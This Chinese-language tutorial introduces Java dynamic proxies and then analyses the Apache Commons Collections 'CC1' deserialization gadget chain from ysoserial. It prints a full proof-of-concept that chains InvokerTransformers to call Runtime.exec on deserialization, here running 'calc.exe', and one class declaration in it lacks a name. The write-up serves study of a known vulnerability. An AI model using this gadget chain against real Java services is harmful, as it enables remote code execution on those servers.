前置知识
Apache Commons Collections
Apache Commons Collections 库库提供了一系列扩展的集合类,它可以帮助开发者更方便地处理各种数据集合相关的操作,并且提供了很多在 Java 标准集合框架(
java.util
包中的集合类)基础上的增强功能,比如开发时经常用到的CollectionUtils可以帮助我们进行集合的判空(isEmpty)
Proxy(代理)
什么是 Proxy(代理)
在 Java 中,
Proxy
就像是一个中间人。想象一下,你想要和一个明星(真实的对象)联系,但是不能直接联系,这时候你可以通过经纪人(代理对象)来和明星沟通。在 Java 里,这个经纪人就是Proxy
。Proxy代理主要用于在不修改原始类(被代理的类)代码的情况下,控制对这个类的访问或者增强这个类的功能。
Proxy 的工作机制
创建代理对象
首先,需要定义一个接口。这个接口就像是明星和经纪人之间的一个 “沟通协议”,规定了有哪些方法可以被调用。例如,明星有一个 “签名” 的方法,那么在接口里就会有一个对应的
sign()
方法。然后,使用
Proxy
类的newProxyInstance()
方法来创建代理对象。这个方法需要三个参数:类加载器(可以简单理解为用来加载类的工具)、一个接口数组(就是刚刚说的那个 “沟通协议”)和一个InvocationHandler
(这是真正干活的,后面会详细说)。
InvocationHandler的作用
InvocationHandler
就像是经纪人的大脑,它决定了代理对象收到方法调用时该怎么做。当你通过代理对象调用一个方法时,实际上是InvocationHandler
的invoke()
方法在处理这个调用。例如,当你让代理对象(经纪人)调用明星的 “签名” 方法时,
invoke()
方法可以在真正调用明星的 “签名” 方法之前,做一些额外的事情,比如检查你是否有资格让明星签名,或者在签名之后记录一下这次签名的情况。
一个简单的例子
interface Fans { void sign(); boolean isVIP(); } class indivialFans implements Fans { private boolean isVIP; @Override public void sign() { System.out.println("获得一个Star的【签名】"); } @Override public boolean isVIP() { return isVIP; } public indivialFans(boolean isVIP) { this.isVIP = isVIP; } } class FansInvocationHandler implements InvocationHandler { private final Fans fans; public FansInvocationHandler(Fans fans) { this.fans = fans; } @Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { System.out.println("检测是否拥有签名资格"); if (!fans.isVIP()) { System.out.println("没有资格,不能签名"); return null; } Object result = method.invoke(fans, args); System.out.println("签名成功"); return result; } } public class DemoApplication { public static void main(String[] args) { Fans fansA = new indivialFans(true); Fans fansB = new indivialFans(false); FansInvocationHandler handlerA = new FansInvocationHandler(fansA); FansInvocationHandler handlerB = new FansInvocationHandler(fansB); Fans aProxy = (Fans) Proxy.newProxyInstance( fansA.getClass().getClassLoader(), fansA.getClass().getInterfaces(), handlerA); Fans bProxy = (Fans) Proxy.newProxyInstance( fansB.getClass().getClassLoader(), fansB.getClass().getInterfaces(), handlerB); aProxy.sign(); System.out.println("====================================="); bProxy.sign(); } } /* 执行结果 检测是否拥有签名资格 获得一个Star的【签名】 签名成功 ===================================== 检测是否拥有签名资格 没有资格,不能签名 */
Commons Collections 1 反序列化链
环境项目:ysoserial CommonsCollections1
Gadget构造
// 在ysoserial CC1项目环境下
public class extends PayloadRunner implements ObjectPayload<InvocationHandler> {
public static void main(String[] args) throws Exception {
String command = "calc.exe";
final String[] execArgs = new String[] { command };
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
// 获取Runtime.getRuntime()方法 (tips:这里获取的是Mehtod类型)
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
// 反射执行Runtime.getRuntime()方法,得到Runtime实例对象
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
// 执行 exec方法,完成rce
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
//从get方法中触发transformerChain.transform
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
// 创建Map 代理,以便触发AnnotationInvocationHandler的invoke,再触发lazymap.get方法
// tips: 该AnnotationInvocationHandler与下面的是两个实例对象,且作用不同,下文会讲到
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
// 创建AnnotationInvocationHandler代理handler
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
//序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(handler);
//反序列化
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
ois.readObject();
}
Gadget链分析
前半段
既然最终序列化的是AnnotationInvocationHandler,便从其readObject方法开始回溯
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
...
...
Iterator var4 = this.memberValues.entrySet().iterator();
...
...
}
关注this.memberValues.entrySet()
方法,这里需要注意,在整个反序列化过程中,会分先后顺序两次进入AnnotationInvocationHandler的readObject:
根据栈的运行机制"后进入的先调用",故先看后进入的readObject方法
在Iterator var4 = this.memberValues.entrySet().iterator();
的前一行打下断点。
如果一行一行代码去分析,会很麻烦,而且IDEA对于某些方法的debug会出错,导致自己一不小心就绕进去。故回到ysoserial项目中去简单分析一下为什么要这样构造pop链。
跟进Gadgets.createMemoizedInvocationHandler
,
public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception {
return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
// public static final String ANN_INV_HANDLER_CLASS
// = "sun.reflect.annotation.AnnotationInvocationHandler"
}
发现是通过反射调用有参构造方法创建一个AnnotationInvocationHandler对象,并且传进去了2个参数,一个Override.class,一个被代理的Map(实际为LazyMap类型),跟进看一下它的构造方法
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}
到这我们可知关注的对象有两个,分别为type成员变量与memberValue成员变量,回到刚才的readObject方法(栈顶的readObject),
可以看到其type为Override的class对象,memberValues为LazyMap,且在readObject方法中关于这两个变量的操作,只有一个构造行为和调用entrySet,并且追溯后发现最终调用的是被LazyMap修饰的HashMap.enTrySet()
,和该项目构建的gadget没有联系。
故直接跟进至后调用的AnnotationInvocationHandler的readObject方法中,观察其成员属性
此时memberValue为Proxy代理对象,而根据前置知识中提到的代理机制,对代理对象的任何方法前都会走到其handler中的invoke方法
跟进AnnotationInvocationHandler.invoke
方法,其var4为entrySet,也就是刚才readObject中调用的entrySet方法名,需要注意的是,现在的所处的AnnotationInvocationHandler已经不是刚才的handler了,而是Proxy map中的handler
// CommonsCollections1.java
// 作用是触发LazyMap.get,从而执行transformerChain
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
// AnnotationInvocationHandler,作用是在readObject中调用mapProxy.entrySet()以触发invoke,其自身的invoke不重要
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
// Gadgets.java
public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception {
// 这里用到了一个新的AnnotationInvocationHandler
return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
}
此时memberValues为LazyMap,会根据switch分支调用自身的get方法
跟进LazyMap.get
方法
这里的逻辑就比较简单明了,如果被修饰的HashMap里不存在方法名entrySet,就调用factory成员变量的transform方法,到此,CC1的前半段便结束了。
梳理一下CC1的前半段都干了什么:
将一个单独的AnnotationInvocationHandler作为入口,在反序列化时调用其构造时传入的mapProxy的entrySet方法
mapProxy触发拦截机制,进入invoke方法,根据"entrySet"方法名,switch将走到默认分支,执行LazyMap.get()
LazyMap.get触发transformers的一连串执行
前半段的调用链如下:
// 独立的handler AnnotationInvocationHandler.readObject()-> mapProxy.entrySet()-> // mapProxy.handler AnnotationInvocationHandler.invoke()-> Lazymap.get()-> transformerChain.transform()-> ...
后半段
后半部分的调用链没有特别的机制,但是逻辑会比较绕,涉及到多个反射套反射的操作
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
这一部分从transformerChain.transform()
开始,那么先看下ChainedTransformer的相关方法,主要涉及构造方法转换方法(transform)
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
这里要看明白转换的逻辑,相当于是一个链式的转换,前一个transform的结果作为后一个transform的输入
涉及到的2种transform方法如下:
// InvokerTransformer.class
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
InvocationTargetException ex = var7;
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
}
// ConstantTransformer.class
public Object transform(Object input) {
return this.iConstant;
}
ysoserial一共组装了5条转换器到达最终的RCE,从第一条开始分析
这里最好亲自debug头脑风暴一遍,赘述再多也不如亲自走一遍
【0】ConstantTransformer.transform
:直接返回Runtime.class这个class对象,很明确
【1】InvokerTransformer.transform
:
(1)拿到Class.class,通过反射获取Class.getMethod方法(Method类型);
(2)在【0】转换器返回的Runtime.class对象上反射调用(1)拿到的getMethod方法,最终获取Runtime.getRuntime方法 (Method类型)
【1】等效于return Runtime.class.getMethod("getRuntime")
【2】InvokerTransformer.transform
:
(1)拿到Method.class,通过反射获取Method.invoke方法(Method类型)
(2)在【1】Runtime.getRuntime这个Method对象上反射调用**(1)中拿到的invoke方法,最终获取Runtime实例对象**(反射调用Runtime.getRuntime()
方法的返回结果)
【2】等效于return Runtime.getRuntime()
【3】InvokerTransformer.transform
:
(1)拿到Runtime.class,通过反射获取Runtime.exec方法(Method类型)
(2)在【2】Runtime实例对象上反射调用exec("calc")方法,到此完成RCE
【3】等效于return Runtime.getRuntime.exec("calc")
【4】ConstantTransformer的作用应该是实现逻辑闭环,不参与RCE过程
CC1后半部分的调用链如下:
ChainedTransformer.transform()->
ConstantTransformer.transform()->
InvokerTransformer.transform()->Runtime.class.getMethod("getRuntime")
InvokerTransformer.transform()-> Runtime.getRuntime()
InvokerTransformer.transform()-> Runtime.getRuntime.exec("calc")
完整的Gadget链
// 独立的handler
AnnotationInvocationHandler.readObject()->
mapProxy.entrySet()->
// mapProxy.handler
AnnotationInvocationHandler.invoke()->
Lazymap.get()->
transformerChain.transform()->
ChainedTransformer.transform()->
ConstantTransformer.transform()->
InvokerTransformer.transform()->Runtime.class.getMethod("getRuntime")
InvokerTransformer.transform()-> Runtime.getRuntime()
InvokerTransformer.transform()-> Runtime.getRuntime.exec("calc")